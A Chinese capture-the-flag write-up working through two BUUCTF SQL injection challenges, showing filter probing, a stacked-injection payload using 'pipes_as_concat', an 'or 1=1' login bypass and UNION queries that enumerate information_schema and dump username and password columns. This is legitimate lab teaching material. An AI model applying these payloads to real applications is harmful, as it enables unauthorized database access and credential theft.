BUUCTF——WEB(2)

目录

[[SUCTF 2019]EasySQL 1](#[SUCTF 2019]EasySQL 1)

堆叠注入

方法一:

方法二:

[[极客大挑战 2019]LoveSQL 1](#[极客大挑战 2019]LoveSQL 1)

sql注入

[SUCTF 2019]EasySQL 1

堆叠注入

输入字母,0无回显,输入数字有回显

输入1'无显示,输入1#有显示,输入1'#无显示

输入特殊字符,没有报错回显,可能被过滤,报错注入不行

引号可能被过滤,数字型注入尝试

输入关于sql的语句,or,union,sleep,回显Nonono,联合查询,时间盲注也不行

尝试if,and回显Nonono,布尔盲注也不行

复制代码
1 and length(database())>=1#

堆叠注入

堆叠注入就是同时注入多条指令

展示数据库

展示表

查询Flag表的列

出错,from被过滤

查询有限

知识点:

来源文章:https://blog.csdn.net/qq_46918279/article/details/120188186

concat可以连接多个字符串如concat('id','name',','user')

用符号||代替or

concat();未被过滤

猜测内置语句

复制代码
sql="select post['query'] || flag from Flag";
方法一:

设置Payload:

复制代码
select *,1||flag from Flag
输入	*,1

支持||作为字符串连接的数据库(PostgreSQL/Oracle/SQLite)

这是语句的 "设计意图场景",比如:

  • Flag表有如下数据:
id flag
1 flag{test}
2 flag{123456}

执行 select *,1||flag from Flag 后,结果会新增一列(默认别名如?column?),内容是1拼接flag值:

id flag ?column?
1 flag{test} 1flag{test}
2 flag{123456} 1flag{123456}

不支持||作为连接符的数据库(MySQL/SQL Server)

  • MySQL

    :默认下||是 "逻辑或"(不是连接符),直接执行该语句会报错 / 结果异常;

    等价的正确写法(用CONCAT函数):select *,concat(1,flag) from Flag

    (若要让 MySQL 支持||,需开启PIPES_AS_CONCAT模式,不推荐)

  • SQL Server :用+做字符串连接符,等价写法:select *,1+flag from Flag

语句作用

验证flag列是否存在

  • 若返回结果包含拼接后的列 → 证明Flag表存在flag列;

  • 若报错 → 证明列 / 表不存在

提取flag值(绕过过滤)

  • 若直接查询flag列被拦截(如 WAF 过滤select flag),拼接常量1后,语句变成select *,1||flag,可绕过简单的关键词过滤;

  • 即使无法直接看到flag列,新增的计算列会暴露flag值(比如拼接后的1flag{xxx},去掉前缀1就是真实 flag)。

方法二:
复制代码
payload:1;set sql_mode=pipes_as_concat;select 1
 
#使用set sql_mode = pipes_as_concat将||作为字符串连接函数
那么sql语句就会为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
即:
select 1;set sql_mode=pipes_as_concat;select concat(1,flag) from Flag;
 
意思为:
输出1;将||作为concat使用;将输出结果中的1和flag字段连接起来;

详情见:https://blog.csdn.net/qq_46918279/article/details/120188186

[极客大挑战 2019]LoveSQL 1

sql注入

先测试

复制代码
1
1'
1' or '1' = '1#
1' or 1=1#

得到万能密码成功

复制代码
1' or 1=1#

试一下md5解密,失败

联合查询测试列

1' order by 3#不报错

1' order by 4#报错

则表有三列

尝试注入,查看回显

复制代码
1' union select 1,2,3#

查看库名1' union select 1,database(),3#

查看表,两张表

MySQL 中「字符串常量必须加引号」,不加引号会被识别为「列名」

table_schemainformation_schema.tables 中的列,存储的是数据库名(字符串类型)

无引号的标识符会被优先解析为列名 / 表名等数据库对象,而非字符串

group_concat() 是 MySQL聚合函数,作用是「多行转单行拼接」

复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#

查列

复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"#
复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#

查看内容

复制代码
1' union select 1,2,group_concat(id,username,password) from geekuser#
复制代码
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

f12找到flag

相关推荐
爱写bug的野原新之助3 分钟前
数据库及navicat工具
数据库·网络爬虫·工具
数据知道6 分钟前
一文掌握 MongoDB 存储引擎 WiredTiger 的原理
数据库·mongodb·数据库架构
Full Stack Developme10 分钟前
Mycat 2 实现 MySQL 读写分离,并且实现 主从同步
android·数据库·mysql
我是人✓14 分钟前
Spring IOC入门
java·数据库·spring
Hello.Reader15 分钟前
PyFlink DataStream 程序骨架、常用 Source/Sink、状态(State)、与 Table/SQL 互转一篇搞定
数据库·sql·linq
三不原则22 分钟前
故障案例:模型推理响应慢,排查 Redis 缓存集群问题
数据库·redis·缓存
alonewolf_9927 分钟前
MySQL Explain详解与索引优化实战
数据库·mysql·adb
それども32 分钟前
MySQL 查询索引最左前缀原则,如果是(a,b)的联合索引,WHERE b = ? AND a = ?会走索引吗
数据库·mysql
それども33 分钟前
MySQL EXPLAIN Impossible WHERE noticed after reading const tables
数据库·mysql
a程序小傲36 分钟前
得物Java面试被问:边缘计算的数据同步和计算卸载
java·开发语言·数据库·后端·面试·golang·边缘计算